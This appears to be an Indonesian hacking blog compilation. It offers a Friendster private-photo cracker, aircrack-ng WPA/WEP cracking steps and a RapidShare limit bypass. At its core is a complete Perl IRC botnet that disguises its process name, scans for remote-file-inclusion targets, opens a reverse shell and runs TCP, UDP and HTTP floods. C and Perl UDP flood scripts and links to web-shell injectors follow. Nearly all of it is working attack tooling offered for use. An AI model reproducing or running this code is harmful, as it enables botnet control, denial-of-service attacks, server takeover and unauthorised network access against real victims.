Private Photo Friendster Finder v1.0

This bug is already patched!!!

Download: http://rapidshare.com/files/141127169/Private_Photos_FS_Finder_by_odod.rar.html

How to use:
Just Insert UID & Album ID, and then GO!!!

password: ododgantengbanget

Download video tutorial from this:

http://www.ziddu.com/download/1948568/HackFS.rar.html
or
http://rapidshare.com/files/140727456/HackFS.rar.html

And read all comment in here.

Have a Nice Day…

Good Luck…

*Updated* Pendekar Blank Remover v1.1

Let’s GO!!!

1. Donwload Pendekar Blank Remover v1.0 by odod
2. Extract
3. Run It
4. Press any key to continue
   
5. Press any key once again to continue
   
6. Reboot
7. done.

Wi-Fi Hacking – Crack WPA

Still using BackTrack OS.

Step by step :

1. airmon-ng stop ath0
2. airmon-ng start wifi0
3. airodump-ng ath0
4. airodump-ng -c CHANNEL_NUMBER -w FILE_NAME –bssid MAC_AP ath0 [Wait until shakehand packet captured]
5. aireplay-ng -0 1 -a MAC_AP -c MAC_CLIENT ath0
6. aircrack-ng -w FILE_WORD_LIST -b MAC_AP FILE_NAME*.cap
7. Wait and see the passphrase
8. done.

Good Luck…

Wi-Fi Hacking – Crack WEP

To crack WEP at this time, Me using BackTrack OS.

Let’s go, open some consoles:

airmon-ng ==> adapter list
airmon-ng stop ath0 ==> destroy adapter virtual
airmon-ng stop ath1 ==> destroy adapter virtual
airmon-ng start wifi0 ==> create new adapter virtual

Console 1:
airodump-ng ath0 ==> scanning
airodump-ng –channel CHANNEL_NUMBER –bssid MAC_AP -w FILE_NAME_SAVE ath0 ==> Capture information

Console 2:
aireplay-ng –arpreplay -b MAC_AP -h MAC_CLIENT ath0 ==> help capture information with arp attack

Console 3:
aireplay-ng –deauth 2 -c MAC_CLIENT -a MAC_AP ath0 ==> help capture information with deauth

While capture information, get the packet as far as u can because that very important to crack WEP.

Final:
aircrack-ng FILE_NAME_SAVE*.cap ==> Cracking

Wait and see the passphrase.

done.

Good Luck…

Remote File Inclusion [RFI] BOT Scanner Script

#!/usr/bin/perl
# VulnScan v7 -Final- By Morgan
#
# Note:
# DO NOT REMOVE COPYRIGHTS …
#
# |_|0|_|
# |_|_|0|
# |0|0|0|
#
# New functions :
# Anti-Clone l33t
# Fixed Print on Infected Boxes
# Easy Configuration
# l33t Color
# BackConnect function (Usage: botname @back IP port)
#
#
# Scan command :
# !morgan !eval @gstring=’google%20dork’;
# !morgan @rfiscan vulnfile.php?vulnvar=
#
# DDoS commands :
# Udp : !morgan @udpflood IP packet-size time
# Tcp : !morgan @tcpflood IP port time
# Http: !morgan @httpflood http://www.website.com time
#
# Greets to :
#
# All #Morgan users…
#
#
# Enjoy the bot ….
# /Morgan

use HTTP::Request;
use LWP::UserAgent;

################ V7 CONFIGURATION #############################################################
my $processo = ‘[migration/0]‘; # Fake process name for the bot #
if (`ps uxw` =~ [migration/0]) # (CHANGE IT!!!) #
{ # #
exit; # #
} # #
###############################################################################################
my $linas_max=’8′; # Avoid Flood #
###############################################################################################
my $sleep=’5′; # sleep time #
##################### IRC #####################################################################
my @adms=(“odod”); # Administrator Nickname #
###############################################################################################
my @canais=(“#nganggur”); # Channel ..if password -> (“#channel :pass”) #
###############################################################################################
my $nick=’PeNGaCaRa’; # Nick prefix of the bot example : #
# vs[v7] = vs[v7]-718727 #
###############################################################################################
my $ircname = ‘kengangguren’; # Identd of the bot #
###############################################################################################
chop (my $realname = `uname -a`); # Full Name #
###############################################################################################
$servidor=’irc.indoirc.net’ unless $servidor; # Server IRC of the bot #
###############################################################################################
my $porta=’6667′; # Server PORT #
################ CMD ##########################################################################
my @cmdgif=’http://www.wolpost.nl/m-m/images/can.jpg’; # If you change this cmd must be same as:#
# http://myspace.si/images/sad.gif #
###############################################################################################

my $VERSAO = ‘v7′;
$SIG{‘INT’} = ‘IGNORE’;
$SIG{‘HUP’} = ‘IGNORE’;
$SIG{‘TERM’} = ‘IGNORE’;
$SIG{‘CHLD’} = ‘IGNORE’;
$SIG{‘PS’} = ‘IGNORE’;
use IO::Socket;
use Socket;
use IO::Select;
chdir(“/”);
$servidor=”$ARGV[0]” if $ARGV[0];
$0=”$processo”.”"x16;;
my $pid=fork;
exit if $pid;
die “Problema com o fork: $!” unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == ’1′) {
my $socket = $_[0];
print $socket “$_[1]\n”;
} else {
print $IRC_cur_socket “$_[0]\n”;
}
}
# MORGAN OWNED YOUR BOX
#
# morgan.rx@gmail.com
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];

my $IRC_socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$servidor_con”, PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;

$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);

$irc_servers{$IRC_cur_socket}{‘host’} = “$servidor_con”;
$irc_servers{$IRC_cur_socket}{‘porta’} = “$porta_con”;
$irc_servers{$IRC_cur_socket}{‘nick’} = $meunick;
$irc_servers{$IRC_cur_socket}{‘meuip’} = $IRC_socket->sockhost;
nick(“$meunick”);
sendraw(“USER $ircname “.$IRC_socket->sockhost.” $servidor_con :$realname”);
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar(“$nick”, “$servidor”, “$porta”); }
delete($irc_servers{”}) if (defined($irc_servers{”}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{‘nick’};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);

for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp=”;
$line =~ s/\r$//;
unless ($c == $#lines) {
parse(“$line”);
} else {
if ($#lines == 0) {
parse(“$line”);
} elsif ($lines[$c] =~ /\r$/) {
parse(“$line”);
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse(“$line”);
} else {
$line_temp = $line;
}
}
}
}
}

sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw(“PONG :$1″);
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^01VERSION01$/) {
notice(“$pn”, “01VERSION mIRC v6.16 Khaled Mardam-Bey01″);
}
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq “$meunick”){
shell(“$pn”, “$args”);
}
if ($args =~ /^(\Q$meunick\E|\!morgan)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase(“$pn”,”$onde”,”$1″) unless ($natrix eq “!bot” and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc(“$ondep”,”$1″);
} else {
shell(“$onde”, “$arg”);
}
}
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{‘nick’} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick(“$meunick|”.int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{‘nick’} = $meunick;
$irc_servers{$IRC_cur_socket}{‘nome’} = “$1″;
foreach my $canal (@canais) {
sendraw(“JOIN $canal ddosit”);
}
}
}

# MORGAN OWNED YOUR BOX
# http://www.morganxpl.com
# morgan.rx@gmail.com
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip=”$1″;
my @portas=(“21″,”22″,”23″,”25″,”80″,”113″,”135″,”445″,”1025″,”5000″,”6660″,”6661″,”6662″,”6663″,”6665″,”6666″,”6667″,”6668″,”6669″,”7000″,”8080″,”8018″);
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[SCAN]0302 Scanning “.$1.” for open ports.”);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => ‘tcp’, Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}

if (@aberta) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[SCAN]0302 Open port(s): @aberta”);
} else {
sendraw($IRC_cur_socket,”PRIVMSG $printl :02034[SCAN]0302 No open ports found”);
}
}
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[TCP DDoSing]0302 Attacking “.$1.”:”.$2.” for “.$3.” seconds.”);
my $itime = time;
my ($cur_time);
$cur_time = time – $itime;
while ($3>$cur_time){
$cur_time = time – $itime;
&tcpflooder(“$1″,”$2″,”$3″);
}
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[TCP DDoSing]0302 Attack done “.$1.”:”.$2.”.”);
}
if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[VERSION]0302 w0rmb0t ver “.$VERSAO);
}

if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = “$1″;
my $porta = “$2″;
my $proto = getprotobyname(‘tcp’);
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = “/bin/sh -i”;
if ($^O eq “MSWin32″) {
$shell = “cmd.exe”;
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die “socket: $!”;
connect(SOCKET, $paddr) or die “connect: $!”;
open(STDIN, “>&SOCKET”);
open(STDOUT, “>&SOCKET”);
open(STDERR, “>&SOCKET”);
system(“$shell”);
close(STDIN);
close(STDOUT);
close(STDERR);

if ($estatisticas)
{
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[BackConnect]0302: Connecting to $host:$porta”);
}
}
#SCANNER
if ($funcarg =~ /^rfiscan\s+(\d+)\s+(.*)/) {
$boturl=$2;
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034Scan0302 ? Scanning for Remote file inclusion using 02 “.$boturl.” 02 for 02 “.$1.” seconds.”);
srand;
my $itime = time;
my ($cur_time);
my ($exploited);
$boturl=$2;
$cur_time = time – $itime;$exploited = 0;
while($1>$cur_time){
$cur_time = time – $itime;
@urls=fetch();
foreach $url (@urls) {
$cur_time = time – $itime;
#sendraw($IRC_cur_socket, “PRIVMSG #debug :02034[x|Exploiting]0302 “.$url2.”\n\n”);
my $path = “”;my $file = “”;($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 =”http://”.$path.”/”.$boturl.”@cmdgif?”;
print “\n”.$url2.”\n\n”;

# MORGAN OWNED YOUR BOX
# http://www.morganxpl.com
# morgan.rx@gmail.com

my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);

if ($response->is_success) {
if( $response->content =~ /By/ && $response->content =~ /Morgan/ ){
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[Vulnerable]0302 “.$url2.”\n\n”);
}
}
else {
}
}
}
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[Finished]0302 Scan finished in “.$1.” seconds.”);
}
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[HTTP DDoSing]0302 Attacking “.$1.”:80 for “.$2.” seconds.”);
my $itime = time;
my ($cur_time);
$cur_time = time – $itime;
while ($2>$cur_time){
$cur_time = time – $itime;
my $socket = IO::Socket::INET->new(proto=>’tcp’, PeerAddr=>$1, PeerPort=>80);
print $socket “GET / HTTP/1.1\r\nAccept: */*\r\nHost: “.$1.”\r\nConnection: Keep-Alive\r\n\r\n”;
close($socket);
}
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[HTTP]0302 Attacking done “.$1.”.”);
}
if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[UDP DDoSing]0302 Attacking “.$1.” with “.$2.” Kb packets for “.$3.” seconds.”);
my ($dtime, %pacotes) = udpflooder(“$1″, “$2″, “$3″);
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, “PRIVMSG $printl :02034[UDP]0302 Sent “.int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024).” Kb in “.$dtime.” seconds to “.$1.”.”);
}
exit;
}
}
}
# MORGAN OWNED YOUR BOX
# http://www.morganxpl.com
# morgan.rx@gmail.com
sub ircase {
my ($kem, $printl, $case) = @_;

if ($case =~ /^join (.*)/) {
j(“$1″);
}
if ($case =~ /^part (.*)/) {
p(“$1″);
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p(“$2″);
j(“$2″);
}
} else {
p(“$chan”);
j(“$chan”);
}
}
if ($case =~ /^op/) {
op(“$printl”, “$kem”) if $case eq “op”;
my $oarg = substr($case, 3);
op(“$1″, “$2″) if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop(“$printl”, “$kem”) if $case eq “deop”;
my $oarg = substr($case, 5);
deop(“$1″, “$2″) if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg(“$1″, “$2″);
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg(“$2″, “$3″);
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp(“$1″, “$2″);
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp(“$2″, “$3″);
}
}
if ($case =~ /^nick (.*)/) {
nick(“$1″);
}
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar(“$2″, “$1″, 6667);
}
if ($case =~ /^raw (.*)/) {
sendraw(“$1″);
}
if ($case =~ /^eval (.*)/) {
eval “$1″;
}
}
# MORGAN OWNED YOUR BOX
# http://www.morganxpl.com
# morgan.rx@gmail.com
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir(“$1″) || msg(“$printl”, “No such file or directory”);
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, “PRIVMSG $printl :$linha”);
if ($c == “$linas_max”) {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
# MORGAN OWNED YOUR BOX
# http://www.morganxpl.com
# morgan.rx@gmail.com
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname(‘tcp’);
$j=0;$l=0;
$cur_time = time – $itime;
while ($l<1000){
$cur_time = time – $itime;
last if $cur_time >= $ftime;
$t=”SOCK$l”;
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j–;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time – $itime;
last if $cur_time >= $ftime;
$t=”SOCK$l”;
shutdown($t,2);
$l++;
}
}
# MORGAN OWNED YOUR BOX
# http://www.morganxpl.com
# morgan.rx@gmail.com
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = ‘A’ x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65000; $porta++) {
$cur_time = time – $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time – $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}

sub ctcp {
return unless $#_ == 1;
sendraw(“PRIVMSG $_[0] :01$_[1]01″);
}
sub msg {
return unless $#_ == 1;
sendraw(“PRIVMSG $_[0] :$_[1]“);
}
sub notice {
return unless $#_ == 1;
sendraw(“NOTICE $_[0] :$_[1]“);
}
sub op {
return unless $#_ == 1;
sendraw(“MODE $_[0] +o $_[1]“);
}
sub deop {
return unless $#_ == 1;
sendraw(“MODE $_[0] -o $_[1]“);
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw(“JOIN $_[0]“);
}
sub p { part(@_); }
sub part {
sendraw(“PART $_[0]“);
}
sub nick {
return unless $#_ == 0;
sendraw(“NICK $_[0]“);
}
sub quit {
sendraw(“QUIT :$_[0]“);
}

# MORGAN OWNED YOUR BOX
# http://www.morganxpl.com
# morgan.rx@gmail.com

sub fetch(){
my $rnd=(int(rand(9999)));
my $n= 80;
if ($rnd<5000) { $n<<=1;}
my $s= (int(rand(10)) * $n);
{
my @dominios = (“removed-them-all”);
my @str;

foreach $dom (@dominios)
{
push (@str,”@gstring”);
}

my $query=”www.google.com/search?q=”;
$query.=$str[(rand(scalar(@str)))];
$query.=”&num=$n&start=$s”;
my @lst=();
#sendraw(“privmsg #Morgan EBUG only test googling: “.$query.”");
my $page = http_query($query);
while ($page =~ m/<a class=l href=\”?http:\/\/([^>\"]+)\”?>/g){
if ($1 !~ m/google|cache|translate/){
push (@lst,$1);
}
}
return (@lst);
}

sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page=”";
$host =~ s/href=\”?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq “”) {$query=”/”;};
eval {
local $SIG{ALRM} = sub { die “1″;};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>”$host”,PeerPort=>”80″,Proto=>”tcp”) or return;
print $sock “GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n”;
my @r = <$sock>;
$page=”@r”;
alarm 0;
close($sock);
};

return $page;
}
}
# MORGAN OWNED YOUR BOX
# http://www.morganxpl.com
# morgan.rx@gmail.com
# NOTE: DONT REMOVE COPYRIGHTS

Good Luck…

Another DDOS Script with C

#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#define JENIS_PELURU “0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ”
#define UKURAN_PELURU 45

int echo_connect(char *, short);
int echo_connect(char *server, short port)
{
struct sockaddr_in sin;
struct hostent *hp;
int thesock;
printf(“\n”);
printf(“Pasukan..!!!! Tembaaaak %s ke port %d\n”,
server, port);
hp = gethostbyname(server);
if (hp==NULL) {
printf(“Di %s gak ada sasaran, Boss!!\n”,server);
printf(“\n”);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(port);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(port);
thesock = socket(AF_INET, SOCK_DGRAM, 0);
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
return thesock;
}

main(int argc, char **argv)
{
int s;
if(argc != 3)
{
printf(“\n”);
printf(“Kirim Paket ke IP orang\n\n”);
printf(“Cara Pake : $ tembak hostname.orang port \n\n”);
exit(0);
}
s=echo_connect(argv[1], atoi(argv[2]));
for(;; )
{
send(s, JENIS_PELURU, UKURAN_PELURU, 0);
}
}

Good Luck…

UDP Script

#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# –/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "$0 \n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
for (;; ) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;; ) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

Good Luck...

Download Unlimited/Premium di Rapidshare

Untuk download beberapa file sekaligus di Rapidshare.com/Rapidshare.de secara gratis, anda bisa menggunakan software yang bernama The Grabber. Software ini membantu anda untuk memudahkan menggunakan proxy, agar bisa download beberapa file sekaligus, karena Rapidshare.com/Rapidshare.de mendeteksi ip address untuk mengecek apakah anda sedang mendownload atau tidak (khusus yang FREE). Nah, untuk mencari proxy bisa menggunakan software yang bernama Proxy Finder.

Aih… Lupakan itu semua, karena akan membuat bingung saja. To The Point aja deh…

Step by step:

A. PENGUMPULAN SENJATA

1. Download The Grabber
2. Download Proxy Finder (CicaK-nya cari sendiri yah… :p )
3. Extract The Grabber dan Proxy Finder
4. Install Proxy Finder

B. PERSIAPAN PERANG (Anda bisa melewati step ini apabila sudah mempunyai list proxy)

1. Jalankan Proxy Finder
2. Klik tombol Find
3. Save semua proxy tersebut (Untuk bisa save otomatis maka Proxy Finder-nya harus yang full version)
4. Jalankan The Grabber -> Tools -> Proxy Checker
5. Pada windows RapidShare Proxy Checker, klik tombol Import from Clipboard
6. Pilih website mana yang anda download (Rapidshare.com/Rapidshare.de), tunggu hingga selesai
7. Setelah selesai, klik tombol Copy valid to Clipboard
8. Tutup windows RapidShare Proxy Checker

C. SERAAAAAANG!!!

1. Masukan link Rapidshare pada step 1
2. Pada main windows The Grabber, klik tombol Edit pada step 2
3. Paste-kan proxy list di notepad tersebut dan kemudian save
4. Tekan tombol GRAB! dan tunggu beberapa menit
5. Setelah image pada step 4 keluar, masukan angka/huruf pada text box di step 4
6. Klik tombol Download dan tunggu hingga 100%/download selesai

Note:

• Secara default, file akan tersimpan di C:\Documents and Settings\FreewareList\Desktop
• Untuk mendownload lebih dari 1 file secara bersamaan, buka baru lagi The Grabber-nya dan lakukan langkah dari C (C2 & C3 lewati saja)
• Kadang bisa gagal, tapi coba aja terus pasti bisa kok (Jangan lupa berdoa :p )
• Gambar menyusul (Lagi sibuk :p )
• Lebih enak lagi klo pake RapidLeech. :p

Good Luck…

Install BackTrack

• download file .iso BackTrack dari http://www.remote-exploit.org/backtrack_download.html
• Burn file .iso BackTrack ke CD
• Booting dari CD BackTrack
• Setelah masuk ke OS BackTrack: Start -> BackTrack -> “Install BackTrack (Not Tested!)”
• Source (BackTrack CD): Biarkan saja, karena automatis terisi sendiri
• Install BackTrak to: Lokasi Partisi untuk install BackTrack (File System: ext3)
• Write New MBR (lilo.mbr) to: Biarkan saja, karena automatis terisi sendiri
• Installation Method: Real
• Restore Original MBR afer lilo: Uncheck
• Install. Proses ini akan mengopy file2 ke partisiD anda, Biarkan hingga selesai
• Setelah 100%, Tekan tombol Close
• Restart

Note:

username= root

password= toor

Good Luck…

Injector

Injector yang sering me pake.

1. http://h1.ripway.com/odod/injects.txt atau http://odod.site88.net/injects.txt
2. http://h1.ripway.com/odod/r57s.txt atau http://odod.site88.net/r57s.txt

SIlakan digunakan dengan bijak.

Good Luck…